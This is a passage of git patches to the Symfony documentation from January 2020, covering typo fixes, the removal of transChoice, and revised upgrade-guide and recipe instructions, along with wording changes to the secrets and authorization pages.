     #. Message digest (which uses :phpfunction:`hash`)
 
-    Both use the ``hash_algorithm`` setting as algorithm. It is recommended to
+    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
     use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
     encoder is used.
 

From d81297eda1f0265bb0ba7258856cc83397509b47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Jan 2020 20:52:19 +0100
Subject: [PATCH 0193/7107] Minor tweak

---
 security/password_migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 7f1ddf95bd7..78455b1f06d 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -106,8 +106,8 @@ With this setup:
 
 * New users will be encoded with the new algorithm;
 * Whenever a user logs in whose password is still stored using the old algorithm,
-  Symfony will verify the password with the old algorithm and then re-encode
-  and update the hashed password using the new algorithm.
+  Symfony will verify the password with the old algorithm and then rehash
+  and update the password using the new algorithm.
 
 .. tip::
 

From 73376df31150245bb172b5a01896ee21735e6aae Mon Sep 17 00:00:00 2001
From: Kane Menicou <kanemenicou@gmail.com>
Date: Sat, 18 Jan 2020 21:03:11 +0000
Subject: [PATCH 0194/7107] Remove usages of transChoice() method for Symfony
 5.0

---
 components/form.rst              | 10 +++++-----
 components/translation.rst       |  3 +--
 components/translation/usage.rst | 22 ----------------------
 3 files changed, 6 insertions(+), 29 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index bcfce8939d7..f778d510649 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -246,13 +246,13 @@ Translation
 ~~~~~~~~~~~
 
 If you're using the Twig integration with one of the default form theme files
-(e.g. ``form_div_layout.html.twig``), there are 2 Twig filters (``trans``
-and ``transChoice``) that are used for translating form labels, errors, option
+(e.g. ``form_div_layout.html.twig``), there is a Twig filter (``trans``)
+that is used for translating form labels, errors, option
 text and other strings.
 
-To add these Twig filters, you can either use the built-in
+To add the ``trans`` Twig filter, you can either use the built-in
 :class:`Symfony\\Bridge\\Twig\\Extension\\TranslationExtension` that integrates
-with Symfony's Translation component, or add the 2 Twig filters yourself,
+with Symfony's Translation component, or add the Twig filter yourself,
 via your own Twig extension.
 
 To use the built-in integration, be sure that your project has Symfony's
@@ -281,7 +281,7 @@ to your ``Twig\Environment`` instance::
         'en'
     );
 
-    // adds the TranslationExtension (gives us trans and transChoice filters)
+    // adds the TranslationExtension (it gives us trans filter)
     $twig->addExtension(new TranslationExtension($translator));
 
     $formFactory = Forms::createFormFactoryBuilder()
diff --git a/components/translation.rst b/components/translation.rst
index fe7ab4c3d79..4663519a5b5 100644
--- a/components/translation.rst
+++ b/components/translation.rst
@@ -148,8 +148,7 @@ To actually translate the message, the Translator uses the following process:
   not, the translator returns the original message.
 
 You start this process by calling
-:method:`Symfony\\Component\\Translation\\Translator::trans` or
-:method:`Symfony\\Component\\Translation\\Translator::transChoice`. Then, the
+:method:`Symfony\\Component\\Translation\\Translator::trans`. Then, the
 Translator looks for the exact string inside the appropriate message catalog
 and returns it (if it exists).
 
diff --git a/components/translation/usage.rst b/components/translation/usage.rst
index 19369bf845c..176bd9b8b4e 100644
--- a/components/translation/usage.rst
+++ b/components/translation/usage.rst
@@ -166,28 +166,6 @@ use for translation::
         'fr_FR'
     );
 
-    $translator->transChoice(
-        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
-        10,
-        [],
-        'messages',
-        'fr_FR'
-    );
-
-.. note::
-
-    Starting from Symfony 3.2, the third argument of ``transChoice()`` is
-    optional when the only placeholder in use is ``%count%``. In previous
-    Symfony versions you needed to always define it::
-
-        $translator->transChoice(
-            '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
-            10,
-            ['%count%' => 10],
-            'messages',
-            'fr_FR'
-        );
-
 .. _retrieving-the-message-catalogue:
 
 Retrieving the Message Catalog

From e3f46467c851b4218d5a150d7970ac993e1b212e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 22 Jan 2020 11:24:31 +0100
Subject: [PATCH 0195/7107] Move sidebar into a real section

---
 translation.rst | 109 ++++++++++++++++++++++++------------------------
 1 file changed, 55 insertions(+), 54 deletions(-)

diff --git a/translation.rst b/translation.rst
index 66b6b58a1b2..2ea8a7e7248 100644
--- a/translation.rst
+++ b/translation.rst
@@ -159,75 +159,76 @@ the message inside your :ref:`templates <translation-tags>`.
 
 .. _translation-real-vs-keyword-messages:
 
-.. sidebar:: Using Real or Keyword Messages
+Using Real or Keyword Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    This example illustrates the two different philosophies when creating
-    messages to be translated::
+This example illustrates the two different philosophies when creating
+messages to be translated::
 
-        $translator->trans('Symfony is great');
+    $translator->trans('Symfony is great');
 
-        $translator->trans('symfony.great');
+    $translator->trans('symfony.great');
 
-    In the first method, messages are written in the language of the default
-    locale (English in this case). That message is then used as the "id"
-    when creating translations.
+In the first method, messages are written in the language of the default
+locale (English in this case). That message is then used as the "id"
+when creating translations.
 
-    In the second method, messages are actually "keywords" that convey the
-    idea of the message. The keyword message is then used as the "id" for
-    any translations. In this case, translations must be made for the default
-    locale (i.e. to translate ``symfony.great`` to ``Symfony is great``).
+In the second method, messages are actually "keywords" that convey the
+idea of the message. The keyword message is then used as the "id" for
+any translations. In this case, translations must be made for the default
+locale (i.e. to translate ``symfony.great`` to ``Symfony is great``).
 
-    The second method is handy because the message key won't need to be changed
-    in every translation file if you decide that the message should actually
-    read "Symfony is really great" in the default locale.
+The second method is handy because the message key won't need to be changed
+in every translation file if you decide that the message should actually
+read "Symfony is really great" in the default locale.
 
-    The choice of which method to use is entirely up to you, but the "keyword"
-    format is often recommended for multi-language applications, whereas for
-    shared bundles that contain translation resources we recommend the real
-    message, so your application can choose to disable the translator layer
-    and you will see a readable message.
+The choice of which method to use is entirely up to you, but the "keyword"
+format is often recommended for multi-language applications, whereas for
+shared bundles that contain translation resources we recommend the real
+message, so your application can choose to disable the translator layer
+and you will see a readable message.
 
-    Additionally, the ``php`` and ``yaml`` file formats support nested ids to
-    avoid repeating yourself if you use keywords instead of real text for your
-    ids:
+Additionally, the ``php`` and ``yaml`` file formats support nested ids to
+avoid repeating yourself if you use keywords instead of real text for your
+ids:
 
-    .. configuration-block::
+.. configuration-block::
 
-        .. code-block:: yaml
+    .. code-block:: yaml
 
-            symfony:
-                is:
-                    # id is symfony.is.great
-                    great: Symfony is great
-                    # id is symfony.is.amazing
-                    amazing: Symfony is amazing
-                has:
-                    # id is symfony.has.bundles
-                    bundles: Symfony has bundles
-            user:
-                # id is user.login
-                login: Login
+        symfony:
+            is:
+                # id is symfony.is.great
+                great: Symfony is great
+                # id is symfony.is.amazing
+                amazing: Symfony is amazing
+            has:
+                # id is symfony.has.bundles
+                bundles: Symfony has bundles
+        user:
+            # id is user.login
+            login: Login
 
-        .. code-block:: php
+    .. code-block:: php
 
-            [
-                'symfony' => [
-                    'is' => [
-                        // id is symfony.is.great
-                        'great'   => 'Symfony is great',
-                        // id is symfony.is.amazing
-                        'amazing' => 'Symfony is amazing',
-                    ],
-                    'has' => [
-                        // id is symfony.has.bundles
-                        'bundles' => 'Symfony has bundles',
-                    ],
+        [
+            'symfony' => [
+                'is' => [
+                    // id is symfony.is.great
+                    'great'   => 'Symfony is great',
+                    // id is symfony.is.amazing
+                    'amazing' => 'Symfony is amazing',
                 ],
-                'user' => [
-                    // id is user.login
-                    'login' => 'Login',
+                'has' => [
+                    // id is symfony.has.bundles
+                    'bundles' => 'Symfony has bundles',
                 ],
-            ];
+            ],
+            'user' => [
+                // id is user.login
+                'login' => 'Login',
+            ],
+        ];
 
 The Translation Process
 ~~~~~~~~~~~~~~~~~~~~~~~

From 23b9c31bd401c090a7c6830c5b1c2862a1b1bfb4 Mon Sep 17 00:00:00 2001
From: Florian Bastien <fbastien@gmail.com>
Date: Thu, 23 Jan 2020 19:11:25 +0100
Subject: [PATCH 0196/7107] Fixed typo

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 6725f9a7f46..70c2d286a66 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -98,7 +98,7 @@ asset
 Returns the public path of the given asset path (which can be a CSS file, a
 JavaScript file, an image path, etc.). This function takes into account where
 the application is installed (e.g. in case the project is accessed in a host
-subirectory) and the optional asset package base path.
+subdirectory) and the optional asset package base path.
 
 Symfony provides various cache busting implementations via the
 :ref:`reference-framework-assets-version`, :ref:`reference-assets-version-strategy`,

From 3d75d9a7d1f1659b87ce5096b4c7e1d6fb94dc22 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Thu, 23 Jan 2020 20:40:28 +0100
Subject: [PATCH 0197/7107] Update service_container.rst

Controller base class doesn't exist anymore in SF 5.0
---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index f918be188cf..5eefce21d5d 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -812,7 +812,7 @@ this file is ``public: false`` by default.
 
 What does this mean? When a service **is** public, you can access it directly
 from the container object, which is accessible from any controller that extends
-``Controller``::
+:class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController`::
 
     use App\Service\MessageGenerator;
 

From 79eeda74931bb7476bc4ec931699ff82230456e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 24 Jan 2020 11:19:58 +0100
Subject: [PATCH 0198/7107] Updated the intro of the Twig extensions article

---
 templating/twig_extension.rst | 20 +++++++-------------
 1 file changed, 7 insertions(+), 13 deletions(-)

diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index aab884dff3c..03fcd7a9471 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -4,19 +4,13 @@
 How to Write a custom Twig Extension
 ====================================
 
-`Twig Extensions`_ allow to create custom Twig functions, filters and more to
-use them in your templates.
+`Twig Extensions`_ allow to create custom functions, filters and more to use
+them in your Twig templates. Before writing your own Twig extension, check if
+the filter/function that you need is already implemented in:
 
-Before writing your own Twig extension, check if the filter/function that you
-need is already implemented in the `default Twig filters and functions`_ or the
-:doc:`Twig filters and functions added by Symfony </reference/twig_reference>`.
-Check also the `official Twig GitHub organization`_, which contains some extra
-repositories that provide extensions for common needs (such as ``string-extra``,
-``html-extra``, ``intl-extra``, etc.)
-
-.. code-block:: terminal
-
-    $ composer require twig/extensions
+* The `default Twig filters and functions`_;
+* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;
+* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc.
 
 Create the Extension Class
 --------------------------
@@ -178,5 +172,5 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 
 .. _`Twig Extensions`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
 .. _`default Twig filters and functions`: https://twig.symfony.com/doc/2.x/#reference
-.. _`official Twig GitHub organization`: https://github.com/twigphp
+.. _`official Twig extensions`: https://github.com/twigphp?q=extra
 .. _`global variables`: https://twig.symfony.com/doc/2.x/advanced.html#id1

From 905caae7d22ef40a59e7f3774ec5857094edd3d2 Mon Sep 17 00:00:00 2001
From: Pierre du Plessis <pierre@pcservice.co.za>
Date: Sat, 25 Jan 2020 21:04:53 +0200
Subject: [PATCH 0199/7107] Fix typo in notifier component

---
 components/notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/notifier.rst b/components/notifier.rst
index 26dd08eac42..29fac4f81f0 100644
--- a/components/notifier.rst
+++ b/components/notifier.rst
@@ -11,7 +11,7 @@ The Notifier Component
 
 .. versionadded:: 5.0
 
-    The String component was introduced in Symfony 5.0 as an
+    The Notifier component was introduced in Symfony 5.0 as an
     :doc:`experimental feature </contributing/code/experimental>`.
 
 Installation

From cd066cc0b7522ee1b2be6528e8b2be7dc5cc9044 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Sun, 26 Jan 2020 12:34:18 -0500
Subject: [PATCH 0200/7107] tweaks thanks to review

---
 configuration/secrets.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index edd4d470d84..f1294143732 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -28,7 +28,7 @@ store them by using Symfony's secrets management system - sometimes called a
 Generate Cryptographic Keys
 ---------------------------
 
-In order to encrypt and decrypt **secrets**, symfony needs **cryptographic keys**.
+In order to encrypt and decrypt **secrets**, Symfony needs **cryptographic keys**.
 A pair of keys can be generated by running:
 
 .. code-block:: terminal
@@ -199,7 +199,7 @@ If you entered ``root``, you will now see this in your ``.env.dev.local`` file:
     DATABASE_PASSWORD=root
 
 This will *override* the ``DATABASE_PASSWORD`` secret because environment variables
-always "win" over secrets.
+always take precedence over secrets.
 
 Listing the secrets will now also display the local variable:
 
@@ -229,11 +229,11 @@ values via the ``.env.test`` file:
     # .env.test
     DATABASE_PASSWORD="testing"
 
-Deploy secrets to production
+Deploy Secrets to Production
 ----------------------------
 
-Because the **decryption key** is not committed, you'll need to manually
-store this file somewhere and deploy it. There are 2 ways to do that:
+Due to the fact that decryption keys should never be committed, you will need to
+manually store this file somewhere and deploy it. There are 2 ways to do that:
 
 1) Uploading the file:
 
@@ -317,5 +317,4 @@ The secrets system is enabled by default and some of its behavior can be configu
 
 
 .. _`libsodium`: https://pecl.php.net/package/libsodium
-.. _`sodium_compatparagonie/sodium_compat`: https://packagist.org/packages/paragonie/sodium_compat
 .. _`paragonie/sodium_compat`: https://github.com/paragonie/sodium_compat

From 823074bbfd26f0a4c248a37a026cb49ce855ad4b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 26 Jan 2020 16:39:27 +0100
Subject: [PATCH 0201/7107] Updated link

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index ad8732691b5..3d2ef6e5e56 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1482,6 +1482,6 @@ Learn more
 
     /messenger/*
 
-.. _`Enqueue's transport`: https://github.com/php-enqueue/messenger-adapter
+.. _`Enqueue's transport`: https://github.com/sroze/messenger-enqueue-transport
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/

From 6305e83c738a5a6b5b98f0d9167950e3bb33f679 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Sat, 18 Jan 2020 15:35:46 -0600
Subject: [PATCH 0202/7107] Adding details about recipe upgrade system and
 upgrade improvements

---
 setup.rst                        |  2 +
 setup/_update_dep_errors.rst.inc | 11 +++--
 setup/upgrade_major.rst          | 62 +++++++++++++++--------
 setup/upgrade_minor.rst          | 84 ++++++++++++++++++++++++--------
 4 files changed, 114 insertions(+), 45 deletions(-)

diff --git a/setup.rst b/setup.rst
index f3a1203f1a8..20cc14e6355 100644
--- a/setup.rst
+++ b/setup.rst
@@ -160,6 +160,8 @@ you'll see a Composer error explaining that ``logger`` is not a valid package
 name. However, if the application has Symfony Flex installed, that command
 installs and enables all the packages needed to use the official Symfony logger.
 
+.. _recipes-description:
+
 This is possible because lots of Symfony packages/bundles define **"recipes"**,
 which are a set of automated instructions to install and enable packages into
 Symfony applications. Flex keeps tracks of the recipes it installed in a
diff --git a/setup/_update_dep_errors.rst.inc b/setup/_update_dep_errors.rst.inc
index 11d660c291a..49ae97067e4 100644
--- a/setup/_update_dep_errors.rst.inc
+++ b/setup/_update_dep_errors.rst.inc
@@ -1,16 +1,17 @@
 Dependency Errors
 ~~~~~~~~~~~~~~~~~
 
-If you get a dependency error, it may simply mean that you need to upgrade
-other Symfony dependencies too. In that case, try the following command:
+If you get a dependency error, it may mean that you also need to upgrade
+other libraries that are dependencies of the Symfony libraries. To allow
+that, pass the ``--with-all-dependencies`` flag:
 
 .. code-block:: terminal
 
     $ composer update "symfony/*" --with-all-dependencies
 
-This updates ``symfony/symfony`` and *all* packages that it depends on, which will
-include several other packages. By using tight version constraints in
-``composer.json``, you can control what versions each library upgrades to.
+This updates ``symfony/*`` and *all* packages that those packages depend on.
+By using tight version constraints in ``composer.json``, you can control what
+versions each library upgrades to.
 
 If this still doesn't work, your ``composer.json`` file may specify a version
 for a library that is not compatible with the newer Symfony version. In that
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 56b25062646..23cb059fd03 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Major Version
 
-Upgrading a Major Version (e.g. 3.4.0 to 4.1.0)
+Upgrading a Major Version (e.g. 4.4.0 to 5.0.0)
 ===============================================
 
 Every two years, Symfony releases a new major version release (the first number
@@ -30,12 +30,14 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions,
 classes, etc) code still works, but is marked as *deprecated*, indicating that
 it will be removed/changed in the future and that you should stop using it.
 
-When the major version is released (e.g. 4.1.0), all deprecated features and
+When the major version is released (e.g. 5.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
-3.4.*), you should be able to upgrade without a problem.
+``4.4.*``), you should be able to upgrade without a problem. That means that
+you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>`
+(e.g. 4.4) so that you can see *all* the deprecations.
 
-To help you with this, deprecation notices are triggered whenever you end up
+To help you find deprecations, notices are triggered whenever you end up
 using a deprecated feature. When visiting your application in the
 :ref:`dev environment <configuration-environments>`
 in your browser, these notices are shown in the web dev toolbar:
@@ -96,7 +98,7 @@ done!
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
-    in 3.4 and you still need to support 3.3). In these cases, you can still
+    in 4.4 and you still need to support 4.3). In these cases, you can still
     use the bridge to fix as many deprecations as possible and then allow
     more of them to make your tests pass again. You can do this by using the
     ``SYMFONY_DEPRECATIONS_HELPER`` env variable:
@@ -124,24 +126,50 @@ done!
 -----------------------------------------------
 
 Once your code is deprecation free, you can update the Symfony library via
-Composer by modifying your ``composer.json`` file:
+Composer by modifying your ``composer.json`` file and changing all the libraries
+starting with ``symfony/`` to the new major version:
 
-.. code-block:: json
+.. code-block:: diff
 
     {
         "...": "...",
 
         "require": {
-            "symfony/symfony": "^4.1",
+    -         "symfony/cache": "4.3.*",
+    +         "symfony/cache": "4.4.*",
+    -         "symfony/config": "4.3.*",
+    +         "symfony/config": "4.4.*",
+    -         "symfony/console": "4.3.*",
+    +         "symfony/console": "4.4.*",
+            "...": "...",
+
+            "...": "A few libraries starting with
+                    symfony/ follow their versioning scheme. You
+                    do not need to update these versions: you can
+                    upgrade them independently whenever you want",
+            "symfony/monolog-bundle": "^3.5",
         },
-        "...": "..."
+        "...": "...",
+    }
+
+Your ``composer.json`` file should also have an ``extra`` block that you will
+*also* need to update:
+
+.. code-block:: diff
+
+    "extra": {
+        "symfony": {
+            "...": "...",
+    -         "require": "4.4.*"
+    +         "require": "5.0.*"
+        }
     }
 
 Next, use Composer to download new versions of the libraries:
 
 .. code-block:: terminal
 
-    $ composer update symfony/symfony
+    $ composer update symfony/*
 
 .. include:: /setup/_update_dep_errors.rst.inc
 
@@ -152,14 +180,6 @@ Next, use Composer to download new versions of the libraries:
 3) Update your Code to Work with the New Version
 ------------------------------------------------
 
-The next major version *may* also contain new BC breaks as a BC layer is not always
-a possibility. Make sure you read the ``UPGRADE-X.0.md`` (where X is the new major
-version) included in the Symfony repository for any BC break that you need to be aware
-of.
-
-4) Updating to the Symfony 4 Flex Directory Structure
------------------------------------------------------
-
-When upgrading to Symfony 4, you will probably also want to upgrade to the new
-Symfony 4 directory structure so that you can take advantage of Symfony Flex.
-This takes some work, but is optional. For details, see :doc:`/setup/flex`.
+In some rare situations, the next major version *may* contain backwards-compatibility
+breaks. Make sure you read the ``UPGRADE-X.0.md`` (where X is the new major version)
+included in the Symfony repository for any BC break that you need to be aware of.
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 78999251f7b..4add91c12da 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -22,37 +22,43 @@ There are two steps to upgrading a minor version:
 ------------------------------------------
 
 The ``composer.json`` file is configured to allow Symfony packages to be
-upgraded to patch versions. But, if you would like the packages to be upgraded
-to minor versions, check that the version constrains of the Symfony dependencies
-are like this:
+upgraded to patch versions. But to upgrade to a new minor version, you will
+probably need to update the version constraint next to each library starting
+``symfony/``. Suppose you are upgrading from Symfony 4.3 to 4.4:
 
-.. code-block:: json
+.. code-block:: diff
 
     {
         "...": "...",
 
         "require": {
-            "symfony/cache": "^4.0",
-            "symfony/config": "^4.0",
-            "symfony/console": "^4.0",
-            "symfony/debug": "^4.0",
-            "symfony/dependency-injection": "^4.0",
-            "symfony/dotenv": "^4.0",
-            "...": "..."
+    -         "symfony/cache": "4.3.*",
+    +         "symfony/cache": "4.4.*",
+    -         "symfony/config": "4.3.*",
+    +         "symfony/config": "4.4.*",
+    -         "symfony/console": "4.3.*",
+    +         "symfony/console": "4.4.*",
+            "...": "...",
+
+            "...": "A few libraries starting with
+                    symfony/ follow their versioning scheme. You
+                    do not need to update these versions: you can
+                    upgrade them independently whenever you want",
+            "symfony/monolog-bundle": "^3.5",
         },
         "...": "...",
     }
 
-At the bottom of your ``composer.json`` file, in the ``extra`` block you can
-find a data setting for the symfony version. Make sure to also upgrade
-this one. For instance, update it to ``4.3.*`` to upgrade to Symfony 4.3:
+Your ``composer.json`` file should also have an ``extra`` block that you will
+*also* need to update:
 
-.. code-block:: json
+.. code-block:: diff
 
     "extra": {
         "symfony": {
-            "allow-contrib": false,
-            "require": "4.3.*"
+            "...": "...",
+    -         "require": "4.3.*"
+    +         "require": "4.4.*"
         }
     }
 
@@ -76,12 +82,52 @@ to your code to get everything working. Additionally, some features you're
 using might still work, but might now be deprecated. While that's just fine,
 if you know about these deprecations, you can start to fix them over time.
 
-Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-4.1.md`_)
+Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-4.4.md`_)
 included in the Symfony directory that describes these changes. If you follow
 the instructions in the document and update your code accordingly, it should be
 safe to update in the future.
 
 These documents can also be found in the `Symfony Repository`_.
 
+.. _updating-flex-recipes:
+
+3) Updating Recipes
+-------------------
+
+Over time - and especially when you upgrade to a new version of a library - an
+updated version of the :ref:`recipe <recipes-description>` may be available.
+These updates are usually minor - e.g. new comments in a configuration file - but
+it's a good idea to update the core Symfony recipes.
+
+Symfony Flex provides several commands to help upgrade your recipes. Be sure to
+commit any unrelated changes you're working on before starting:
+
+.. versionadded:: 1.6
+
+    The recipes commands were introduced in Symfony Flex 1.6.
+
+.. code-block:: terminal
+
+    # see a list of all installed recipes and which have updates available
+    $ composer recipes
+
+    # see detailed information about a specific recipes
+    $ composer recipes symfony/framework-bundle
+
+    # update a specific recipes
+    $ composer recipes:install symfony/framework-bundle --force -v
+
+The tricky part of this process is that the recipe "update" does not perform
+any intelligent "upgrading" of your code. Instead, **the updates process re-installs
+the latest version of the recipe** which means that **your custom code will be
+overridden completely**. After updating a recipe, you need to carefully choose
+which changes you want, and undo the rest.
+
+.. admonition:: Screencast
+    :class: screencast
+
+    For a detailed example, see the `SymfonyCasts Symfony 5 Upgrade Tutorial`_.
+
 .. _`Symfony Repository`: https://github.com/symfony/symfony
-.. _`UPGRADE-4.1.md`: https://github.com/symfony/symfony/blob/4.1/UPGRADE-4.1.md
+.. _`UPGRADE-4.4.md`: https://github.com/symfony/symfony/blob/4.4/UPGRADE-4.4.md
+.. _`SymfonyCasts Symfony 5 Upgrade Tutorial`: https://symfonycasts.com/screencast/symfony5-upgrade

From bded3da4d99e30e27bb967d0f27f84dfa9c7ce98 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Jan 2020 11:01:13 +0100
Subject: [PATCH 0203/7107] Added the versionadded directive

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 7ed80db6f1a..ac1213d25c0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -888,6 +888,10 @@ The Redis transport uses `streams`_ to queue messages.
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 
+.. versionadded:: 5.1
+
+    The Unix socket DSN was introduced in Symfony 5.1.
+
 To use the Redis transport, you will need the Redis PHP extension (>=4.3) and
 a running Redis server (^5.0).
 

From 58fd048d726e4141f21513c08a4f3b2d20af0c10 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 27 Jan 2020 11:17:01 +0100
Subject: [PATCH 0204/7107] Fix build. Refs #12959

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index b53ee461bdf..4d70d45feb2 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -75,6 +75,7 @@ whitelist:
         - '.. versionadded:: 1.11' # MakerBundle
         - '.. versionadded:: 1.3' # MakerBundle
         - '.. versionadded:: 1.8' # MakerBundle
+        - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'

From 8657bf4003d5a6df84190e9083224e297f815780 Mon Sep 17 00:00:00 2001
From: Adrien <33827077+adrien-lopez@users.noreply.github.com>
Date: Thu, 16 Jan 2020 17:14:09 +0100
Subject: [PATCH 0205/7107] Update authorization.rst

---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 7d5cf3af9e2..7e3cc1e5874 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -124,7 +124,7 @@ RoleVoter
 
 The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter`
 supports attributes starting with ``ROLE_`` and grants access to the user
-when the required ``ROLE_*`` attributes can all be found in the array of
+when at least one required ``ROLE_*`` attribute can be found in the array of
 roles returned by the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoles`
 method::
 

From c2580465c76835ee532d60ab5ac2cc902225488d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Jan 2020 08:36:27 +0100
Subject: [PATCH 0206/7107] [Security] Fixed the name of a method

---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 2dfe29607da..fe2f2b913f5 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -19,7 +19,7 @@ by an instance of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Acc
 An authorization decision will always be based on a few things:
 
 * The current token
-    For instance, the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames`
+    For instance, the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoles`
     method may be used to retrieve the roles of the current user (e.g.
     ``ROLE_SUPER_ADMIN``), or a decision may be based on the class of the token.
 * A set of attributes

From 2e6ac1187cdf708e0c72dd11575149207af21f00 Mon Sep 17 00:00:00 2001
From: Mohammad Emran Hasan <phpfour@gmail.com>
Date: Tue, 28 Jan 2020 08:26:33 +0600
Subject: [PATCH 0207/7107] Updated imports in TaskController when using
 TaskType

---
 forms.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/forms.rst b/forms.rst
index 1bd561c022b..54ab2d5ac79 100644
--- a/forms.rst
+++ b/forms.rst
@@ -262,10 +262,8 @@ to build another object with the visual representation of the form::
     namespace App\Controller;
 
     use App\Entity\Task;
+    use App\Form\Type\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Form\Extension\Core\Type\DateType;
-    use Symfony\Component\Form\Extension\Core\Type\SubmitType;
-    use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\HttpFoundation\Request;
 
     class TaskController extends AbstractController

From 4030157642b8b31daf21bd4f8e2e04d476fae2b0 Mon Sep 17 00:00:00 2001
From: E Ciotti <elvisciotti@gmail.com>
Date: Tue, 28 Jan 2020 13:43:59 +0000
Subject: [PATCH 0208/7107] Update broken links

Links were previously pointing to inexistent master branch and returning 404
---
 configuration/front_controllers_and_kernel.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index 178c9daaf2d..5008b74d525 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -161,10 +161,11 @@ loading your configuration.
 .. _Debug component: https://github.com/symfony/debug
 .. _front controller: https://en.wikipedia.org/wiki/Front_Controller_pattern
 .. _Symfony Standard Edition: https://github.com/symfony/symfony-standard
-.. _app.php: https://github.com/symfony/symfony-standard/blob/master/web/app.php
-.. _app_dev.php: https://github.com/symfony/symfony-standard/blob/master/web/app_dev.php
